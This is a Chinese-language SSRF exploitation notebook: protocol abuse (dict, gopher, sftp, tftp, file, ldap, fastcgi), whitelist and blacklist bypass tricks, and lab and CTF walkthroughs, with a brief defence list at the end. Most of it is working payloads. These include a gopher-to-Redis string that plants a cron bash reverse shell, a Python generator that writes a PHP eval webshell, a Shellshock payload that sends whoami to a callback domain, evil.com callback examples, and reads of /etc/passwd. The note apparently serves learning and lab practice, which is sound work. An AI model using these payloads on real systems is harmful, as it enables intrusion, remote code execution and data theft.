簡介#
很多 Web 應用都提供了從其他伺服器上獲取數據的功能,這種功能通常被稱為 “外部資源加載”。通過使用用戶指定的 URL,Web 應用可以執行各種操作,如獲取圖片、下載文件、閱讀文件內容等。然而,如果這個功能被惡意使用,攻擊者可以利用存在缺陷的 Web 應用作為代理,攻擊遠程和本地的伺服器。這種形式的攻擊被稱為服務端請求偽造攻擊(Server-side Request Forgery,簡稱 SSRF)。
在 SSRF 攻擊中,攻擊者通過構造特殊的請求,使得伺服器端發起的請求目標是攻擊者自己控制的或者是內部的系統。一般情況下,SSRF 攻擊的目標是從外網無法直接訪問的內部系統,例如數據庫、內部網絡接口等,這樣攻擊者就可以繞過防火牆,直接訪問這些內部系統。
SSRF 攻擊的形成主要是由於伺服器端提供了從其他伺服器獲取數據的功能,但沒有對目標地址做出足夠的過濾和限制。例如,伺服器端可能允許從指定 URL 地址獲取網頁文本內容,加載指定地址的圖片,下載文件等。如果伺服器端沒有對這些操作進行適當的安全控制,例如檢查 URL 是否指向內部網絡,或者限制可訪問的 URL 範圍,那麼攻擊者就可能利用這個功能進行 SSRF 攻擊。
類型#
- 基礎(回顯)
- 不回顯
利用流程#
能夠對外發起網絡請求的地方,就可能存在 SSRF,如下對 127.0.0.1 網站自身的 8080 端口發起請求,返回了相關內容,說明存在 SSRF 漏洞。
請求包如下:
POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
url=127.0.0.1%3A8000
嘗試讀取本地文件(windows)
file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts
如果是 linux 環境,讀取如下文件:
file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces
案例一
GET 請求
http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd
案例二
POST 請求
POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2
利用方式#
漏洞常規利用方式#
- 內網端口掃描
- 利用 DICT、HTTP 協議可以探測內網端口開放情況
- burp suite 爆破
- 爆破常見端口,80,8080,3306,6379 等
- 目錄掃描
- burp suite 爆破
- sql 注入
- 編碼格式,兩次 url 編碼
- 命令執行
- 編碼格式,兩次 url 編碼
- gopher 協議
- url:gopher://[host]:[port]/ 兩次 url 編碼的 tcp 數據流
- CVE-2017-12615
- tomcat put 方法寫文件
- Redis 未授權訪問漏洞(無認證)
- DICT 協議(dict://x.x.x.x:6379/<Redis 命令>)
- ssrf-xss
漏洞複雜利用方式#
盲 SSRF 利用#
根據響應狀態和響應時間判斷端口是否開放
下圖是一個示例表:
使用帶外技術進行盲 SSRF 利用。
各種利用協議
file:///
dict://
sftp://
ldap://
tftp://
gopher://
dict 協議#
如果伺服器禁止對外部站點或白名單中的 http 請求,那麼可以使用 dict 協議。
dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
gopher 協議#
gopher 協議支持發出 GET、POST 請求:可以先截獲 get 請求包和 post 請求包,在構成符合 gopher 協議的請求。
gopher 協議是 ssrf 利用中最強大的協議
如下案例,302 跳轉接收請求。
http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
格式
gopher://<host>:<port>/<gopher-path>_後接TCP數據流
curl gopher://127.0.0.1:8000/_GET%20test
gopher 的默認端口是 70
如果發起 post 請求,回車換行需要使用 %0d%0a,如果多個參數,參數之間的 & 也需要進行 URL 編碼。
發送 get 請求
如果要發送如下 payload
GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1
那麼需要變為如下格式
curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A
在 HTTP 包的最後要加 %0d%0a,代表消息結束
發送 post 請求
POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=test
那麼需要變為如下格式
curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A
ssrf 中的利用
http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
# 由於PHP在接收到參數後會做一次URL的解碼,所以要再 url 編碼一次
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A
URL 中的/
不能進行兩次編碼,端口號不可以兩次編碼,協議名稱不可兩次轉碼
利用 gopher 協議訪問 redis 反彈 shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
s/ftp 協議#
sftp 協議是 ssh 文件傳輸協議的縮寫即安全的傳輸協議,用於傳輸文件
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
tftp#
文件傳輸協議
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
file 協議#
file 協議用於讀取文件系統中的敏感文件
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
ldap/s/i#
LDAP 代表輕量級目錄訪問協議。它是一種在 IP 網絡上用於管理和訪問分佈式目錄信息服務的應用協議。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
pdf ssrf#
有些情況下,伺服器會將上傳的文件轉成 pdf 文件
嘗試使用<iframe>
、<img>
、<base>
或者<script>
標籤、CSS url () 去請求內部服務,讀取敏感文件。
<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">
avi#
fastcgi 協議#
title:ctfhub靶場
- 首先在伺服器上監聽
nc -lvnp 9000 > 1.txt
- 客戶端使用 python 腳本連接 9000 端口
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
- 將生成的 txt 文件通過如下 python 腳本進行二次編碼
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))
將 payload 放到漏洞參數處。
知道文件名後,通過 cat 命令查看 flag 的內容
python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php
和前面的步驟一致。
利用案例#
端口掃描#
SSRF 配合 DICT 協議可以用來探測內網端口開放情況,只可以探測 tcp 回顯的端口。
redis#
curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
工具#
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
上述工具需要再進行一次 url 編碼。
[[ctfhub-skilltree.md# 二次編碼腳本 | url 二次編碼腳本]]
redis 寫入 shell
import urllib
protocol="gopher://"
ip="192.168.134.132" //ip地址
port="6379" //端口
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//寫入內容為一句話木馬
filename="1.php" //文件名為1.php
path="/var/www/html"//默認路徑
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
案例#
[[ctfhub-skilltree.md#redis|ssrf 之 redis 寫入 shell 場景]]
繞過技巧#
fuzz 字典#
- web 漏洞 ->ssrfDicts
白名單#
1、允許指定的 ip 或域名訪問指定的資源
白名單為:abc.com
直接無法讀取
http://example.com/ssrf.php?url=https://google.com
需要在白名單域中,找到開放重定向漏洞,結合開放重定向漏洞進行利用。
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
2、子域名
白名單為:*.abc.com
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
黑名單#
- ip 改為下述可繞過的 ip
- 對過濾的字符進行編碼
- 或者使用域名,指向 localhost
特殊 ip#
http://0177.1/ # 十進制 http://127.0.0.1
http://0x7f.1/ # 十六進制 http://127.0.0.1
http://127.000.000.1
https://520968996
錯誤 ip#
http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/
ipv6#
http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/·
其他協議#
gopher://
dict://
php://
jar://
tftp://
DNS 欺騙#
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
xip.io#
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
編碼繞過#
這些包括十六進制編碼,八進制編碼,雙字編碼,URL 編碼和混合編碼。
127.0.0.1 translates to 0x7f.0x0.0x0.0x1
127.0.0.1 translates to 0177.0.0.01
http://127.0.0.1 translates to http://2130706433
localhost translates to %6c%6f%63%61%6c%68%6f%73%74
白名單#
- 可以在 url 前面加上認證,通過 @分割,username 換成內部系統 ip,其他的路徑加到最後,如下
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/
- 也可以使用 #號分割各個 url 片段
https://evil-host#expected-host
- 使用 DNS 的命名結構
https://expected-host.evil-host
- 對字符進行 url 編碼用來混淆 url 解析器。
302 跳轉#
有時伺服器可能過濾了很多協議,如傳入的 URL 中只允許出現 “http” 或 “https”,那麼可以在自己的伺服器上寫一個 302 跳轉,利用 Gopher 協議攻擊內網的 Redis。
SSRF lab#
Lab: Basic SSRF against the local server#
抓包,正常的請求
將 stockApi 改為http://localhost/admin,直接未授權訪問了後台面板。
刪除用戶,輸入如下參數:stockApi=http://localhost/admin/delete?username=carlos
成功刪除賬號
Lab: Basic SSRF against another back-end system#
title:實驗目標
通過ssrf對內部網絡進行端口掃描,發現192.168.0.X網段開放的8080端口
同樣的,來到 check stock 頁面。
正常的請求如下:
發送到 intruder
payload 設置
通過查看響應大小,可以看到 ip 是 192.168.0.154
刪除用戶 carlos,刪除成功。
SSRF with blacklist-based input filter#
輸入內網 url,被攔截
黑名單繞過,127.0.0.1 改為 127.1,admin 也會攔截,對 admin 的 a 進行兩次編碼,第二次編碼只對特殊字符。
刪除 carlos 賬號。
SSRF with whitelist-based input filters#
白名單只允許 stock.weliketoshop.net 訪問。
通過輸入http://[email protected]/ 觀察發現可以通過這種嵌入式憑證的 url 繞過。
在 username 後面加 #號,發現還是被攔截,對 #號進行兩次 url 編碼,發現未被攔截。
http://localhost%[email protected]/
後接 admin,上述圖片正常繞過。
post 發包刪除 carlos 賬戶。
stockApi=http://localhost%[email protected]/admin/delete?username=carlos
Lab: SSRF with filter bypass via open redirection vulnerability#
通過重定向漏洞實現 SSRF 漏洞,目標訪問
http://192.168.0.12:8080/admin
and delete the usercarlos
首先需要找到一個開放重定向漏洞,在商品詳情頁面的鏈接跳轉處可以找到。
鏈接如下:
https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com
可以直接跳轉到http://www.baidu.com。
抓包 check stock 的請求包。
將上述包發送出去,提示 path 參數缺失
去掉 currentProductId 即可。
刪除用戶。
Blind SSRF with out-of-band detection#
漏洞位於 referer 處
打開 Burp Collaborator client,拷貝一個域名
將他複製到 referer 處,並發送請求,Burp Collaborator client 收到了發送的請求。
Lab: Blind SSRF with Shellshock exploitation#
1、要實現這個實驗,需要先安裝 "Collaborator Everywhere" 插件,burp 的商店中自帶,找到安裝即可。
2、訪問受害者網站並抓包,右鍵,Add to scope 中。
3、然後繼續瀏覽網站,"Collaborator Everywhere" 插件就會開始發送請求,並且可以查看到相關的響應了,告訴我們這裡存在 ssrf 漏洞。
4、具體的請求如下
還添加了一些其他的請求。
發送到 intruder 模塊,進行暴力破解,User-Agent 設置為如下 payload,referer 設置為需要爆破的內網伺服器網段。
() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net
設置爆破的參數
線程設置為 1
開始爆破,查看 Burp Collaborator client 是否接收到請求。
如上,獲取到了伺服器的用戶名。
漏洞危害#
SSRF 可以對外網、伺服器所在內網、本地進行端口掃描,攻擊運行在內網或本地的應用,或者利用 File 協議讀取本地文件。
內網服務防禦相對外網服務來說一般會較弱,甚至部分內網服務為了運維方便並沒有對內網的訪問設置權限驗證,所以存在 SSRF 時,通常會造成較大的危害。
防禦方式#
- 過濾返回的信息
- 統一錯誤信息
- 限制請求的端口
- 禁止不常用的協議
- 對 DNS Rebinding,考慮使用 DNS 緩存或者 Host 白名單
其他#
-
title: 相關文章
- 淺析 SSRF 原理及利用方式
- Gopher 協議在 SSRF 漏洞中的深入研究
- SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1
- SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-2
- SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-3
- ssrf - web 安全學習筆記
- ssrf - 各種組件的漏洞利用方式
- SSRF in PHP
- 從一文中了解 SSRF 的各種繞過姿勢及攻擊思路
- SSRF 學習記錄
- 利用 SSRF 攻擊內網 FastCGI 協議
- Fastcgi 協議分析 && PHP-FPM 未授權訪問漏洞 && Exp 編寫
- SSRF bible. Cheatsheet
-
title: 相關案例
- SSRF exploitation in Spreedsheet to PDF converter - excel 中的 ssrf+xxe 讀文件
-
title
-
title: 相關工具
- In3tinct/See-SURF - python 寫的 ssrf 參數掃描工具
- swisskyrepo/SSRFmap - 自動化 Fuzz SSRF 開發工具
- tarunkant/Gopherus - 該工具生成 gopher payload ,以利用 SSRF 並在各種伺服器中獲得 RCE
- dns rebinding
- URL 在線編碼解碼工具
-
title: 相關資源 & 靶場